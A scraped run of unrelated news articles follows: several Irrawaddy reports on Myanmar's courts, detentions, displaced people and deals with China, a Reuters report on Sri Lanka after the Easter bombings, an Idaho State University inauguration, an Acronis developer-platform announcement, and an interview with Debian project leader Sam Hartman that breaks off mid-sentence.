Township Court on April 25, 2019. / Myo Min Soe / The Irrawaddy YANGONFor a second time, Insein Township Court denied bail on Thursday for well-known film director U Min Htin Ko Kyo Gyi, who is charged for defamation by the Myanmar military, or Tatmadaw. A military officer from the Yangon Region Command filed a lawsuit against him under Article 505 (b) of the Penal Code for posts he shared on his personal social media page. I have had part of my liver removed because of cancer and I was denied bail again, the director told reporters at the court. The plaintiff has presented five witnesses, all military officers, to the court. The trial on Thursday cross-examined the plaintiff and the next trial is scheduled for May 9. The director has been openly critical of the military-drafted 2008 Constitution and the militarys role in politics. Lieutenant-Colonel Lin Tun filed a lawsuit against him under Article 66 (d) of 2013 Telecommunications Law on March 29. The military officer filed another lawsuit against him under the unbailable Article 505 (b) of the Penal Code. He has had half of his liver removed due to cancer and is also suffering from heart and [other] kidney problems. He presented his medical records and applied for bail, but the prosecutor said he has not questioned the doctor and denied his application for bail. His health is in critical condition, said lawyer U Robert San Aung. It is against the law to file a lawsuit against a person under two separate charges for a critical post, the lawyer said. Motion picture organizations from the Netherlands, the US, Britain, France, Czech Republic, Lithuania, South Africa, Italy, Norway, Poland and Hungary have signed a petition calling for bail to be granted and the immediate release of U Min Htin Ko Ko Gyi who is the founder of the annual Human Rights, Human Dignity International Film Festival. Recently, the Tatmadaw has been filing an increasing number of lawsuits. This is not a good image. It is not good for the country. All the cases including [U Min Htin Ko Ko Gyis] case can have negative impacts on the image of our country on the international stage. If possible, it would be best to drop those cases and release all of them, Ko Jimmy of 8888 Generation Peace and Open Society told The Irrawaddy. As well as the film director, former military captain U Nay Myo Zin and five members of the Peacock Generation thangyat troupe were charged by the military in April under Article 505 (a), (b) and Article 66 (d) for their respective speech and performances deemed to be defamatory to the military. Translated from Burmese by Thet Ko Ko. Burma Govt, Kachin Humanitarian Group Vow to Work Together on IDPs Return Members of the government's National Reconciliation and Peace Center (left) and the Kachin Humanitarian Concern Committee delegation discuss the return of IDPs at a meeting in Naypyitaw on Friday. / Htet Naing Zaw / The Irrawaddy YANGONThe Kachin Humanitarian Concern Committee said it hopes peace talks between the government and the Kachin Independence Organization (KIO) next week will further the process of returning internally displaced people (IDPs) to their homes. On Friday, the governments National Reconciliation and Peace Center (NRPC) and the KHCC discussed the matter and ways of cooperating further. Both sides agreed to facilitate coordination among the stakeholders on this matter, while the KHCC will coordinate with the Kachin Independence Army (KIA), which gives the group its mandate, on the IDPs return. The KHCC and the government have agreed to work together to ensure the IDPs safe and dignified return, and to follow international humanitarian standards as well as the NRPCs policies, they said in a joint statement released after Fridays meeting. The government and the KHCC will meet again in early May to discuss a pilot program to resettle displaced villagers from selected IDP camps in Kachin and northern Shan states, according to Rev. Samson, the head of the KHCC, who met with the NRPC and Kachin State ministers. How fast or slow the IDPs return depends on the peace talks between the KIO/KIA and the NRPC. If the KIA signed a bilateral ceasefire agreement, it would smooth the process of returning the IDPs, Rev. Samson said. More than 100,000 people from 171 villages in Kachin and northern Shan states are on the list for repatriation, after being displaced nearly eight years ago by renewed fighting between government forces and the KIA in June 2011. The efforts to facilitate the IDPs returns started in mid-2017, when Kachin Baptist Convention leaders met with the State Counselor Daw Aung San Suu Kyi. At a meeting with the Kachin Baptist Convention in February, Myanmar military chief Snr. Gen. Min Aung Hlaing said the military would help returning the families and will cooperate with the KIO to clear landmines. Rev. Samson told The Irrawaddy on Friday that the absence of a ceasefire agreement in the region, and the presence of military camps in some of the areas, hampered the return process. He added that signing a bilateral agreement should come without conditions, which would help the KIA to consider signing it and help to build trust between the government and the KIO. U Zaw Htay, the spokesman of the Myanmar State Counselors Office, told reporters in Naypyitaw that avoiding clashes is the most important thing for securing the IDPs return and closing the IDP camps, adding that this would be focus during the talks with the KIA and its allies on April 30. He said, We have to try to negotiate with the military [or Tatmadaw] to stop the fighting, to build mutual trust and to help with the return of the displaced. After camps are identified to take part in the returns, implementation, including providing vocational support to the returnees, will be done by the Joint Strategy Team (JST), which is comprised of Kachin civil society groups, relief workers and religious organizations, said Rev. Samson. Burma Men Died in Army Detention, Cremated without Families Knowledge Daw Khine Sein Hla, wife of one of the detainees still held by the military, speaks to The Irrawaddy in Sittwe on April 25, 2019. / Min Aung Khine / The Irrawaddy YANGONMembers of Myanmars military and police from northern Rakhine cremated the bodies of three men who died during military detention in the state capital of Sittwe, according to the relatives. On Thursday, more than a dozen family members of the 27 detainees from Mrauk-Us Let Kar Village travelled to Sittwe to meet with the house speaker San Kyaw Hla of Rakhine State parliament to inquire about the deaths of the three men, as well as the 24 others who are still being held by the military. A total of 27 villagers were arrested by government soldiers from Light Infantry Division No. 22 and No. 55 on April 10 on suspicion of being members of the Arakan Army (AA). The arrests came soon after attacks carried out by the AA on two artillery bases on the outskirts of the town of Mrauk-U on April 9 killed around 20 government soldiers. On Wednesday, 15 days after the attacks, military spokesman Brig-Gen Zaw Min Tun acknowledged to The Irrawaddy that the three men died during detention, saying that the causes of death were heart attack, suicide and drug addiction withdrawal. Relatives also met the investigative officer from Sittwe Police Station No.1, who is now assigned to the case, as well as with responsible medical officers from Sittwe General Hospital. The Irrawaddy was able to speak to the relatives of two of the dead men over the phone on Friday. Zaw Myo Tuns relatives said he died on April 11, one day after being arrested, while the relatives of Thein Tun Sein died on April 14 after four days of military detention. The third man, Maung Than Nu, is said to have died on April 21. A medical officer from Sittwe hospital confirmed to The Irrawaddy under the condition of anonymity that all three were dead before arriving at the hospital. The three bodies were classified as Police Ring and postmortem examinations were carried out on them in line with official procedures. Generally, the hospital does not carry out postmortems on bodies labelled Ordinary Ring. Relatives and locals who met with investigative officer Myo Thant Sein at the Sittwe police station recalled that the bodies were cremated at Sittwe Cemetery, without elaborating on when the cremations took place. The medical officer also claimed that the remains of the bodies were retrieved by military soldiers after postmortem process. Although relatives met with hospital superintendent Dr. Moe Myint Win on Thursday, he did not reveal the result of the medical reports, saying instead that he will testify when the case is in court. Sittwes forensic doctor Kyaw Tun Aung did not respond to calls made to his phone on Friday. U Maung Tun Kyaing, father of Zaw Myo Tun who is from Kyauktaw Township explained that his son arrived back to his village from Thailand in February. On April 8, he travelled with his friend to Let Kar Village with the purpose of seeking a life partner. My son was healthy and strong man. How could he be dead like that? said U Maung Tun Kyaing. As the bodies were completely burnt, none of the family members were able to see whether there were external injuries on the bodies. U Maung Tun Kyaing, however, said police showed them pictures of the three dead men. He claims to have clearly seen bruises on the chest, face and arms of the men in the photo. I absolutely believe that my son died from torture, he said. Although he and other relatives have seen the photos provided by police, they are afraid to demand explations from the police. I was terribly scared of them, said U Maung Tun Kyaing. Maung Nyunt Tha, a relative of Thein Tun Sein, said that he could not determine a possible cause of death for his father-in-law as his body was clothed. He said, however, that the face of Thein Tun Sein appeared to be swollen. Meanwhile the police have opened an initial case of fatal death. The militarys Western Commands Col. Win Zaw Oo said the bodies were transferred to hospital for the fatal death postmortem examination process. When asked about the cremation of the bodies, he said I dont think they have offhandedly done that. Although The Irrawaddy contacted the investigation officer Myo Thant Sein for his comments on the case on Friday, the calls went unanswered. Lawmaker U Kyee Myint of the Myanmar Lawyers Network (MLN) explained to The Irrawaddy that police are not granted by law or police procedure to cremate bodies without returning them to the relatives. He recalled similar extrajudicial killing patterns during the 1962 Rangoon University protests against Ne Wins military regime. At that time, Ne Wins troops violently killed unarmed students and burned their bodies before burying them at Kyan Taw Cemetery without returning them to their relatives. It violates the Penal Code, said U Kyee Myint. He suggested that the government grant legal aid to the family members of the victims for the prosecution of the perpetrators. Burma Mon Party Releases Army Officers Son Detained in Drug Raid to Police Two members of the MNLA burn kraton leaves the armed group seized from alleged drug traffickers in Mudon Township, Mon State, on March 21. / Min Joi Seik / Facebook The New Mon State Party (NMSP) on Thursday handed over to police a Myanmar Army officers son who was among a group of drug suspects the partys soldiers detained during anti-narcotics operations last month in Mon States Mudon Township, according to the partys leader. We arrested eight people, but handed only one person to the police in Mudon, as he is a relative of a Myanmar Army officer, NMSP secretary Nai Aung Min told The Irrawaddy on Friday. The NMSP continued to detain the other seven, who were arrested along with the eighth suspect in Mudon Township last month when the organizations soldiers found them to be in possession of amphetamines during a crackdown on illegal drugs. They [the Army officers family] said they could take responsibility for their family member. Therefore, we offered him to the police. As for our Mon people, we can take care of them, he said. In a statement last month, Mon State Border Affairs Minister Colonel Nay Htut Oo urged the NMSP to release all eight suspects. He criticized the NMSP for initiating its own crackdown on illegal drugs in a government controlled area, saying it violated the terms of the Nationwide Ceasefire Agreement (NCA), to which the Mon party is a signatory. The suspect is the son of an officer in the Myanmar Armys Light Infantry Battalion 209 based in Kamarwet village, Mudon Township. The NMSP soldiers who conducted the crackdown on illegal drug trafficking seized 116 amphetamine tablets from him when he was detained on March 20, according to the party. Myanmar Police said they would take action against the captive according to the law. Police officer U Moe Lwin Oo yesterday told the Mon News Agency as the suspect was being handed over by the NMSP that the man would be questioned and sent to jail. Amphetamine use is a widespread problem in Mon State. Nai Aung Min said his party had launched the crackdown on illegal drug trafficking in the state because it is worried about drug use among Mon youth Before it signed the NCA in 2015, the NMSP was very active in suppressing illegal drugs in Mon State, detaining accused traffickers and meting out punishments. The action reportedly had widespread support among the ethnic Mon population. However, since signing the agreement the group has been forced to curtail its activities, as the government sees its anti-drug actions in government-controlled areas as a violation of the terms of the NCA. We are just doing what we can do for our people. They [the government] do not allow us to crack down on illegal drugs in some areas, but we have continued to do so at the request of the Mon people, including Buddhist monks, Nai Aung Min said. The NMSP has its own judicial system in place to punish illegal drug trafficking. Those who are arrested by the party face varying degrees of punishment depending on the amount of drugs involved. However, it has been known to release young offenders back into the care of their families if the parents can take responsibility for them. Burma Myanmar Signs 3 Agreements at Belt and Road Forum Myanmar State Counselor Daw Aung San Suu Kyi and Prime Minister of the People's Republic of China Li Keqiang witnessed the MOU signing ceremony in Beijing on April 25, 2019. / Ministry of Foreign Affairs Myanmar / Facebook YANGONMyanmars government signed two memorandums of understanding (MOUs) and an agreement letter with China at Beijings Belt and Road Forum on Thursday, detailing strengthened cooperation between the countries on the China-Myanmar Economic Corridor (CMEC), trade and technology. According to the Ministry of Information, Myanmar State Counselor Daw Aung San Suu Kyi and Prime Minister of the Peoples Republic of China Li Keqiang were present to witness the signing of the documents. The ministrys statement said that a China-Myanmar Economic Corridor cooperation (2019-2030) MOU was signed by Myanmars Ministry of Planning and Finance and the National Development and Reform Commission (NDRC), Chinas top economic planning agency. In September, a 15-point MOU for the CMEC was signed. The economic corridor is set to be part of Beijings ambitious Belt and Road Initiative (BRI) which aims to construct basic infrastructure connecting key economic centers in Myanmar. Under the MOU, the governments agree to collaborate on projects in a number of sectors including basic infrastructure, construction, manufacturing, agriculture, transport, finance, human resources development, telecommunications, and research and technology. The estimated 1,700-kilometer-long corridor will connect Kunming, the capital of Chinas Yunnan province, to Myanmars major economic checkpointsfirst to Mandalay in central Myanmar, and then east to Yangon and west to the Kyaukphyu Special Economic Zone (SEZ). Myanmar State Counselor Daw Aung San Suu Kyi is currently in Beijing to attend the second Belt and Road Forum and met Chinese President Xi Jinping on Wednesday. Despite growing wariness among the public regarding unsustainable debt to China, during the meeting Daw Aung San Suu Kyi reassured the president of Myanmars support for the BRI and said that cooperating on it would benefit the well-being of the region and the world as a whole. Many have been eagerly waiting to hear the outcome of discussions likely to be had between the leaders on controversial Chinese projects in Myanmar, especially on the Myitsone dam. However, neither side has announced details of such discussions yet. During her meeting with Prime Minister Li Keqiang, the State Counselor discussed maintaining the import quota of 100,000 tons of rice from Myanmar to China and having better collaboration while implementing BRI infrastructure projects in Myanmar. The BRI is Chinese President Xi Jinpings signature foreign policy project. Unveiled in 2013, it is also known as the Silk Road Economic Belt and the 21st-Century Maritime Silk Road. The project aims to build a network of roads, railroads and shipping lanes linking at least 70 countries from China to Europe passing through Central Asia, the Middle East and Russia, fostering trade and investment. The second MOU on the table at the forum was signed by Chinas Ministry of Commerce and Myanmars Ministry of Investment and Foreign Economic Relations on cooperation between the countries in trade and the economy. The MOU outlines a five-year collaboration between Myanmar and China for the development of trade and the economic sector. China is Myanmars largest trade partner and last week, the Myanmar government signed an agreement with the government of Yunnan province to practice a barter system at the border in order to promote trade cooperation. According to the agreement, Myanmar will export agricultural products to China at the Muse border trade zone and in return, Myanmar will buy construction materials, farm implements and fertilizers from China. A third official document, an agreement letter, was signed by Myanmars ambassador to China U Thit Lin Ohn and Chinas ambassador to Myanmar Hong Laing and outlines the countries collaboration on the economy and technology. Myanmar occupies a unique geographical position in the global BRI plan, lying at the junction of South Asia and Southeast Asia, and between the Indian Ocean and southwestern Chinas landlocked Yunnan province. The proposal to build the CMEC was announced by Chinas Foreign Minister Wang Yi following a meeting with the State Counselor in November 2017. Wang said the economic corridor would enhance investment in development and trade as part of the BRI. The first Belt and Road Forum took place in 2017 and was attended by the State Counselor and saw the signing of an MOU of cooperation within the framework of the Silk Road Economic Belt and 21st Century Maritime Silk Road Initiative. Last year in June, the State Counselor met Chinas Defense Minister Wei Fenghe in Naypyitaw to discuss bilateral relations. After the meeting, Chinese media reported Daw Aung San Suu Kyi had vowed to strengthen cooperation on the BRI. According to the Ministry of Planning and Finance, the chosen projects must align with national priorities as outlined in the Myanmar Sustainable Development Plan (MSDP), which was created to promote sustainability and balanced development arrangements. China has proposed a total of 30 projects under the CMEC but Myanmar has only approved nine projects so far. Under the CMEC agreement, Myanmars government agreed to build three border economic cooperation zones in Shan and Kachin states. The proposal claims that the CMEC would allow a direct flow of Chinese goods into the southern and western regions of Myanmar and that Chinese industries could transfer here in order to abate the rising labor costs and overcapacity of Chinas industries. It said Myanmar would become a major trade hub between China, Southeast Asia and South Asia. Under the CMEC agreement, China was granted permission to conduct a feasibility study for a Muse-Mandalay high-speed railway which is expected to link the two economic centers in Myanmar. Burma Myitsone Dam Not Discussed During State Counselors Visit to Beijing State Counselor Daw Aung San Suu Kyi and Chinese President Xi Jinping meet in Beijing on April 24. / State Counselors Office NAYPYITAWThe Myanmar Presidents Office said on Friday that the controversial Myitsone dam issue was not on the agenda during State Counselor Daw Aung San Suu Kyis visit to Beijing for the second Belt and Road Summit. Office spokesperson U Zaw Htay told The Irrawaddy that everything related to the dam issue would be transparent and nothing would be done without the publics knowledge. Currently, the Chinese-backed US$3.6-billion (5.4 trillion kyats) dam on Myanmars lifeline Irrawaddy River in Kachin State has been suspended since 2011 due to nationwide opposition amid warnings that the project would disrupt the flow of sediment in the countrys main waterway, harming agricultural livelihoods, while potentially flooding an area twice the size of Singapore and displacing thousands of people if it collapsed. The then military junta signed a contract on the project with China in 2006, before handing power to a quasi-civilian government in 2011. However, Beijings recent efforts to revive the dam have fueled negative sentiment among the Myanmar public. Daw Aung San Suu Kyis government hasnt made public its view on whether the dam should be resumed or terminated. But recent remarks by the State Counselor suggesting that governments ought to respect the deals made by their predecessors have raised public concerns that the dam project is back on track. We wont do any secret dealings [about the dam]. There will be transparency and we will let the public know how we will deal with it, said U Zaw Htay. As of Thursday, Myanmars delegation led by Daw Aung San Suu Kyi had signed two memorandums of understanding (MOUs) and an agreement letter with China, strengthening cooperation between the countries on the China-Myanmar Economic Corridor (CMEC), trade and technology. As far as Im concerned, theres nothing about Myitsone, added the spokesperson. He said that when it comes to the Myitsone issue, the Myanmar government puts public opinion first, and will be guided by the national interest, agreements between China and Myanmar, and bilateral relations. We take it [the Myitsone issue] very seriously. We are very careful about public opinion as well as agreements with China. There will be very serious considerations and negotiations on that issue, he said. In late January, U Thaung Tun, the minister of Investment and Foreign Economic Relations, said the government and a commission were holding serious discussions and considering all possibilities, including downsizing the dam or relocating it. After taking office, the National League for Democracy-led government set up a 20-member commission to review the dam and its likely impacts on the environment and local communities. The commission has produced two reports to date, but the government has yet to make either of them public. Daw Aung San Suu Kyi promised during the 2015 elections that she would make public the project contract signed by the military dictatorship, but has maintained a long silence on her own stance on the dam project. Burma Two Political Prisons Released in Second Amnesty, More to be Announced Family members await the released prisoners under the presidential pardon on April 17, 2019. / Htet Wai / The Irrawaddy News Sri Lankans Urged to Avoid Mosques, Churches Amid Fears of More Attacks A security officer stands in front of St. Anthonys shrine in Colombo, a day after bomb blasts ripped through churches and luxury hotels in Sri Lanka in this photo taken on April 22, 2019. / Reuters COLOMBOMuslims in Sri Lanka were urged to pray at home on Friday and not attend mosques or churches after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence for the Easter Sunday bombings. The U.S. embassy in Sri Lanka also urged its citizens to avoid places of worship over the coming weekend after authorities reported there could be more attacks targeting religious centers. Sri Lanka remains on edge after suicide bombing attacks on three churches and four hotels that killed 253 people and wounded about 500. The attacks have been claimed by the extremist Islamic State group. Nearly 10,000 soldiers are being deployed across the Indian Ocean island state to carry out searches and provide security for religious centers, the military said on Friday. Fears of retaliatory sectarian violence has already caused Muslim communities flee their homes amid bomb scares, lockdowns and security sweeps. The All Ceylon Jamiyathul Ullama, Sri Lankas main Islamic religious body, urged Muslims to conduct prayers at home on Friday in case there is a need to protect family and properties. Cardinal Malcolm Ranjith also appealed to priests not to conduct mass at churches until further notice. Security is important, he said. Police have detained least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Islamic State provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. Islamic State released a video on Tuesday showing eight men, all but one with their faces covered, standing under a black Islamic State flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. The Sri Lankan government said there were nine homegrown, well-educated suicide bombers, eight of whom had been identified. One was a woman. Authorities have focused their investigations on international links to two domestic Islamist groupsNational Thawheed Jamaut and Jammiyathul Millathu Ibrahimthey believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. Defense Secretary Hemasiri Fernando resigned over the failure to prevent the attacks. The Easter Sunday bombings shattered the relative calm that had existed in Buddhist-majority Sri Lanka since a civil war against mostly Hindu ethnic Tamil separatists ended 10 years ago. Sri Lankas 22 million people include minority Christians, Muslims and Hindus. Until now, Christians had largely managed to avoid the worst of the islands conflict and communal tensions. Most of the victims were Sri Lankans, although authorities said at least 38 foreigners were also killed, many of them tourists sitting down to breakfast at top-end hotels when the bombers struck. They included British, U.S., Australian, Turkish, Indian, Chinese, Danish, Dutch and Portuguese nationals. Britain warned its nationals on Thursday to avoid Sri Lanka unless it was absolutely necessary because there could be more attacks. April 26, 2019 POCATELLO Student success is one of the many reasons Bengals roar, Idaho State University President Kevin Satterlee said at his official inauguration held April 26 at the ISU Stephens Performing Arts Center. We are here to help students better their lives, he said. And I am here today to make a commitment to that mission. A commitment, that as President, all of my decisions in this position of high trust will be made with our why in mind. With our students in mind. Our goal is to help our students get an education that will be the basis for every decision I make in this position. Satterlee was officially inaugurated as Idaho State Universitys 13th president at a ceremony that was attended by students, faculty and government and community leaders including Idaho Gov. Brad Little, Lt. Gov. Janice McGeachin and State Board of Education members. The new ISU president was welcomed by students, faculty and government and community leaders. To be standing in front of all of you right now, on this stage, in this amazing facility, at this fantastic University, is incredibly humbling, said Satterlee, a native Idahoan from Priest River. But it is also a testament to what we do as a university and more importantly why we do it. I am standing before you today, as a first-generation college student, as living proof of why we do what we do, in short, why we roar. Satterlee spoke about the importance of having passion for education and for helping students, and listed a few of the accomplishments of ISU students this year. We get to be part of having that impact on the lives of our students every day, he said. That is why we roar. Working side-by-side with faculty and staff, Satterlee said ISU is devoted to its students. So, if you are a student who wants an education at a place that understands you, that understands our student-centric mission, that understands why we are here, then you have found your home, Satterlee said. You have found your roar. Come join this roar. Satterlee delivered his inaugural address after Gov. Little offered greetings from the state of Idaho, Fort Hall Tribal Business Council Chairman Nathan Small greeted Satterlee and an Honor Drum was performed, and greetings were offered by ISU faculty representative Karen Appleby, an education professor, and Associated Students of ISU President Logan Schmidt. Schmidt said he has loved working with Satterlee this year. He has created a positive, and exciting atmosphere for the ISU community, Schmidt said. He truly is letting every inch of Idaho hear our roar. When people ask me about Kevin, I tell them, We are lucky. When I talk to Kevin and tell him what the students are thinking, he really listens. He hears what we have to say and really wants to make things better. And he does what he says he is going to do. So when he says that this state will hear our roar, Schmidt said, he means it. Get ready Idaho. You are about to hear these Bengals roar. An investiture is a formal ceremony conferring the authority and symbols of higher education and the Office of the President on a new university leader. It is typically held during a university presidents first year in office. The Idaho National Laboratory sponsored the inauguration, which included events throughout the week. Nearly $107,000 in scholarships was raised at the event through sponsorships and a fundraising dinner. Prior to his arrival at ISU, Satterlee served 17 years at Boise State University in a variety of leadership positions, most recently chief operating officer, vice president and special counsel to president. Prior to his time at BSU, Satterlee was deputy attorney general in the Idaho Attorney Generals Office for six years and during much of that period, served as chief legal officer to the State Board of Education. He earned his bachelors degree in political science, magna cum laude from Boise State University and was named a Top-10 Scholar of the University. He earned his law degree, magna cum laude, from the University of Idaho. Satterlee and his wife, Margaret, are both multi-generational Idaho natives. The couple has three children. The investiture event was live-streamed and is available for viewing at www.youtube.com/idahostateu. Cyber protection and hybrid cloud storage company Acronis has launched early access to its new Cyber Platform, allowing developers access to two APIs and four SDKs to build and extend their applications with Acronis technologies. Acronis. The company has grown tremendously over the past 16 years, and today bills itself a "global leader in cyber protection and hybrid cloud storage". The company has announced a new "Cyber Platform" that is allowing early access to, which will "allow developers to build and extend their applications, integrate them with cyber protection services for backup, disaster recovery, secure file sync and share, blockchain notarisation, and with scalable and secure Acronis Cyber Infrastructure for hosting cyber protection applications and storing data". We're told the "Cyber Platform features a series of APIs supported by software development kits and sample code". Acronis says it is "opening the platform to the broad developer community including API access to infrastructure, provisioning, management, and billing that in the past were only available to a selected number of integration partners. "By accessing the platform, developers, ISVs, OEMs and service providers will be able to develop new applications, drive new revenue and connect with Acronis community of 50,000 channel partners and 500,000 businesses that already rely on the same platform for backup, disaster recovery, storage, security, and anti-ransomware solutions. "The new services will enable ISVs and service providers to broaden their service portfolio and increase ARPU while expanding their market opportunities." During the early access period, developer support is available, with formal training and certification to be provided at the Acronis Global Cyber Summit 2019. Held in Miami, Florida, between 13 and 16 October, the companys first partner and customer event will feature a world-class line-up of industry and cyber security experts such as Robert Herjavec and Eric ONeill. We're told that similar regional summits will be held in Singapore in September and Abu Dhabi in December. We spoke to Stas (Stanislav) Protassov, a co-founder of Acronis in 2001 and currently leader of the company's operations, in an audio interview you can hear below. Protassov talked about the announcement, the SDKs, the opportunities and plenty more the article continues below, please read on! So what is more info on the Acronis Cyber Platform? The company says that the launch of the Acronis Cyber Platform brings to life its vision that "modern cyber protection should incorporate data protection, cybersecurity, and privacy. "Since the amounts of generated data and the number of data sources are increasing daily, the only way to fully safeguard that data is to address all Five Vectors of Cyber Protection namely the safety, accessibility, privacy, authenticity, and security of data (SAPAS). "The Acronis Cyber Platform is loaded with tremendous possibilities for the ISV community to address each specific vector or all five vectors at the same time just as Acronis Total Protect does. A revolutionary new cyber protection solution that will be officially released at the Summit, Acronis Total Protect delivers a new level of protection by integrating backup, security and system management capabilities". Serguei Beloussov, Acronis founder and chief executive, said: Extending our proven cyber protection solutions with the opening of the Acronis Cyber Platform and its APIs brings our cyber protection vision to market and presents an opportunity for existing and new ISV and OEM partners to bring their valuable software and services into the Acronis partner ecosystem." Beloussov continued; Acronis is widely known for its engineering excellence and now, by extending our APIs to developers at ISVs and OEMs, we can expect to see rapid innovation as they leverage the powerful tools and concepts that are driving the worlds data AI, IoT, Edge, and Cloud. "ISVs and OEMs can unlock innovation and differentiate their business by leveraging the Acronis Cyber Platform value chain to deliver new value to our partners and customers. What are the key APIs and SDKs in the new Acronis Cyber Platform? Opening the Acronis Cyber Platform will provide developers with access to six API/SDKs, including: Management API: The master API for the automation of Acronis provisioning, management, and billing of customer and partner services and accounts. The master API for the automation of Acronis provisioning, management, and billing of customer and partner services and accounts. Services API: Enables the management of services for third-party integrations or portals, including the ability to white label Acronis services. It also enables the automation of services and alert notifications and other backed aspects of delivering Acronis services. Enables the management of services for third-party integrations or portals, including the ability to white label Acronis services. It also enables the automation of services and alert notifications and other backed aspects of delivering Acronis services. Data Sources SDK: Allows developers to write plugins that enable the protection of any data source like SaaS application data sets, server applications, IoT, or any other data source into the platform. Allows developers to write plugins that enable the protection of any data source like SaaS application data sets, server applications, IoT, or any other data source into the platform. Data Destinations SDK: Permits data to be stored in a wide variety of destinations including the Acronis Data Cloud, private clouds, public clouds, on-premises storage, software-defined storage or hardware appliances. Permits data to be stored in a wide variety of destinations including the Acronis Data Cloud, private clouds, public clouds, on-premises storage, software-defined storage or hardware appliances. Data Management SDK: Enables data in the platform to be managed, transformed, searched, compressed, scanned, and appended and more. Enables data in the platform to be managed, transformed, searched, compressed, scanned, and appended and more. Services SDK: Supports the integration of qualified third-party services into the Acronis Cyber Cloud. Building the Cyber Platform The company says its Cyber Platform builds on the companys successful and innovative 16-year history. We're told "the last five years have been spent rebuilding the Acronis architecture to meet modern requirements and deliver the Acronis Cyber Cloud platform to service providers and large enterprise customers". The company proudly boasts of "a growing number of OEM vendors who have used these APIs to integrated their solutions with Acronis. These vendors include ConnectWise, cPanel, Ingram Cloud, Kaseya, Virtual 1, IntY, Microsoft Azure, Google GCP, Odin, AutoTask, Honeywell, and Emerson. "Calls for greater cyber protection, fuelled by the explosion of ransomware attacks worldwide, have led to an increasing demand for solutions that support the core tenents of SAPAS. That backdrop is why Acronis decided to make the platform open to the ISV ecosystem. "Now ISVs and OEMs can launch new solutions and business models by connecting to hundreds of thousands of customers and partners, as well as millions of end-users, who rely on Acronis technologies. "Resellers and service provider partners are racing to scale and differentiate their data protection solutions as IoT, AI, Cloud, and Edge become the primary drivers in the explosive growth of new applications and massive amounts of new data. "Their need for a robust ecosystem enabled by APIs that are deeply integrated and extensible enough to automate data sources, data destinations, and data management was among the most requested new services." Acronis welcomes partners to its new Cyber Platform Jeff Bishop, chief product officer, ConnectWise, said: "We are excited to have a role in the Acronis Cyber Platform through meaningful mutual integrations, which will certainly elevate the end user experience. Eze Castle said: Increasingly our clients have been asking for support in accessing and extracting insights from these backups which span servers, workstations, and databases. "Now, with the Acronis Cyber Platform, developers can build solutions on top of these formerly sleeping backups in new ways, adding value and a competitive edge for their clients. Phil Goodwin, Research Director Cloud Data Management and Protection, IDC, said: "The explosion of applications and data sources, driven by the rapid adoption of hyperscale clouds and edge technologies is driving the need to not just manage data better, but to apply new security protection for that data. "Acronis has been transforming its go-to-market strategy and rapidly growing its roster of channel partners for years, and now, with the Acronis Cyber Platform Acronis can help them grow their revenues, reduce churn and differentiate, all through the use of API-driven solutions and the Acronis marketplace. "Acronis leads in cyber protection and the new open Acronis Cyber Platform should accelerate their ecosystem. How to access the Acronis Cyber Platform The Acronis Cyber Platform is currently in Early Access and will be GA and demonstrated at the Acronis Global Cyber Summit in Miami on 13 to 16 October. ISVs, OEMs and Service Providers can request Early Access to the Acronis Cyber Platform APIs here. "Early adopters who benefit from top-level developer support during his early access phase will be featured that the Acronis Global Cyber Summit in October in Miami. "At the summit, the community of developers, vendors, resellers and service providers will converge to network and share in the combined vision for the future of Cyber Protection". You can learn more about the Summit and get an early-bird discount here. Sam Hartman: "The DPL job looks like it's going to be a lot of work, but not as insane as coming up to speed as an IETF area director." The new leader of the Debian GNU/Linux project says one thing that is holding back the project is the length of time it takes to take decisions, with developers often getting frustrated with the tools and processes that are used. "Debian is great for experimenting with lots of ways of doing things. We aren't always great at consolidating on the solution that ended up working best when we're done with those experiments," Sam Hartman, who was elected as leader for a one-year term on 20 April, told iTWire during an interview. Hartman, who was born blind, has been with the project for nearly 20 years, and credits his wife with having given him the necessary motivation to run for the post of leader. "Her encouragement to go do what I believe in and run for DPL gave me the final confirmation that this investment in Debian was worth it for me," he said. A computer science graduate from MIT in 1999, Hartman has handled complex technical roles for a long time. Asked about his use of Linux, he said it seemed as though he had always been using Debian. "It was a great Linux back in 1996 when my laptop became powerful enough that I could give up DOS," he said. "That was also around the time that Linux accessibility reached a point where I could depend on console applications talking." Hartman said in 1999 and 2000, he and Mark Eichin one of the security researchers whothe Internet Worm were hoping to bring enterprise infrastructure similar to what they had seen through MIT's Project Athena and other efforts to the free software world. "Naturally, Debian was our platform of choice," he said. "So I gobbled up the Developer's Reference and new Maintainer's guide and decided to tackle some nice small package. So how about MIT Kerberos? In all fairness, I had been working on Kerberos throughout my undergraduate career, so I was familiar with it. It was perhaps an ambitious start as a developer." Hartman later worked as the chief technologist at the MIT Kerberos Consortium and got involved in the Internet Engineering Taskforce, the standards body that produces the RFCs. He served a three-year term as a security area director on the IESG. "That job was crazy: every two weeks you had to read and comment on the security implications of every RFC proposed for approval," Hartman said. "At the beginning, I'd read RFCs and then follow up references trying to understand all the technologies that made up the Internet until I couldn't take it any more. "Then I'd read mindless fiction until I could manage to get to sleep and like as not dream about aliens disrupting Internet routing convergence on an MPLS data plane. The DPL job looks like it's going to be a lot of work, but not as insane as coming up to speed as an IETF area director." Hartman set up a consulting company after he left the IETF. "There, Debian continued to be important. We were working on Project Moonshot, a project lead by JISC in the UK to re-imagine federated authentication," he explained. "We needed to explore how our new authentication system would fit into a real operating system. Debian was our test platform. It had great tools for building derivatives. That got us started, but as our technology matured we were able to contribute it to the main distribution." [The Moonshot wiki is supposed to be here; they recently sent out an announcement that their site would be down for a few days while they were fixing security problems in Confluence.] Currently, Hartman maintains Kerberos and the Moonshot software in Debian. "I served a term on the Debian Technical Committee," he said. "Early in my Debian career I came up with the legal hack that allowed us to work around US export law and integrate cryptographic software into the main archive. "The US wanted a detailed notification for every program that included cryptography. That was logistically challenging. So I asked the lawyers if we could notify the us that a particular program might contain cryptography. They said that would be fine and there would be no problem for over notification. So, we notified the US government for every package in Debian." He works as a developer at a small start-up. "We sell collaborative spaces based on Debian. Four years ago, if you told me I'd be working as a key developer on a product that is all user interface we ship rooms full of TVs as primary deliverables I'd have said you were crazy. But that's what I do. Our company is just getting to a size where we're contemplating contributing what we can back to the community and Debian." Outside his work Hartman says he teaches and explores love and connection in a neo-pagan tradition. "That spiritual work 